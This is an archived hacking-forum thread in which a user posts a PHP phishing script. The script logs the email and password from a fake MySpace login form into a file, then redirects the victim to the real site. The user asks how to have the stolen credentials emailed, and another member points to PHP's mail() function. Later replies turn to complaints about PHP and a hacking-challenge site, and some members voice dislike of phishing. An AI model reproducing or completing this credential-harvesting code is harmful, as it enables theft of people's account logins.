PDA

View Full Version : Php phish


MISFlT
January 22nd, 2009, 11:27 PM
<?php

$username = htmlentities($_POST['a_email']);
$password = htmlentities($_POST['a_password']);
$str = "Email: " . $username . " Password: " . $password . "<br />\n";

$hand = fopen("logit.html","a");
if($hand){
fwrite($hand,$str);
}
else{
echo "error";
}
fclose($hand);
header("Location: http://home.myspace.com/index.cfm?fuseaction=user");
?>

is this rght?

MISFlT
January 22nd, 2009, 11:32 PM
wait.. where is it that i make it send to my email?

DoG MikkyW
January 23rd, 2009, 05:34 PM
I know ishkur is very knowleadgable with this, unfortunately, he doesn't very much like phishing. (If I remember correctly.).

Especially since I'm assuming you copy and pasted that. He doesn't like that much either, personally I have no gripe with that, but he does.

Regardless, did you try trial and error testing?

MISFlT
January 23rd, 2009, 05:58 PM
nah i actually wrote this myself, ive been reading :D

DoG MikkyW
January 23rd, 2009, 06:06 PM
You shouldn't learn a language for only a specific purpose. Because you might not pic up on basics. I don't know php, (nor do I intend to learn it for a good... 5 months or so.)

Cuddles
January 23rd, 2009, 06:33 PM
you...dont know what your own code does, but you claim to have written it yourself.....

you're depressing.

ishkur88
January 23rd, 2009, 06:57 PM
surely someone who has been reading about the immense waste of time known as PHP would know about the ever lovable mail() function. I mean my god... it has an entire page on php.net acknowledging its existence.

and mike was right on the money about me hating you... er... phishing.

MISFlT
January 23rd, 2009, 08:25 PM
well doesnt make a diff about who hates me, im not aiming to make friends that Ill most likely never meet, and i skipped a few things, (which i guess that mail function was in )
gimme a break

i wouldnt say php is a waste of time, its so malleable, and will damn near parse anything

DoG MikkyW
January 24th, 2009, 10:15 AM
Stop bitching.

http://us.php.net/manual/en/function.mail.php

ishkur88
January 24th, 2009, 01:43 PM
You like it because you're lazy and its easy to write simple scripts, not because its "malleable" and will "damn near parse anything".

Try doing the stuff I was doing in PHP and get back to me on whether or not its that great of a language.

Here's a little look at the project that caused me to hate PHP's guts, improve upon it, I implore you...

http://pastie.org/315908
http://pastie.org/315910
http://pastie.org/315912
http://pastie.org/369711

slowz
January 25th, 2009, 12:51 AM
That looks like some code for some kind of php framework. phpcake ?

ishkur88
January 25th, 2009, 12:58 AM
No actually, custom engine I was building. Didn't have a production name, but I had a nickname for it; "paamayim"... after the first error that I received:

Parse error: syntax error, unexpected T_PAAMAYIM_NEKUDOTAYIM

I finally released a copy of it as the subject of a hacking mission on EG; "Rooting #3". No one* was able to hack it.

*no one associated with the Enigmagroup was able to hack it, at least...

DoG MikkyW
January 25th, 2009, 08:29 AM
*no one associated with the Enigmagroup was able to hack it, at least...

Ha... Just ha.

ishkur88
January 25th, 2009, 11:45 AM
I'm puzzled as to the whereabouts of your laughter. No one from EG was able to break it... but, a few other people were able to do it quite successfully.

Cuddles
January 25th, 2009, 01:55 PM
I'm puzzled as to the whereabouts of your laughter. No one from EG was able to break it... but, a few other people were able to do it quite successfully.

i dont remember rooting #3 too well.....did i ever do that one? or at least even slightly try?

ishkur88
January 25th, 2009, 03:24 PM
Probably not. That was the one I released the night I left for Florida. It was only up for about 10 hours before I had to take it down.

Cuddles
January 25th, 2009, 05:16 PM
being that that made it feel even less like i knew what was going on, i agree, i probably didnt =(

ishkur88
January 25th, 2009, 05:45 PM
Back over the summer, when I was still an EG developer, I went for Florida for like... 2-3 months. I released Rooting #3 the night I was leaving for Florida. Took it down the following morning.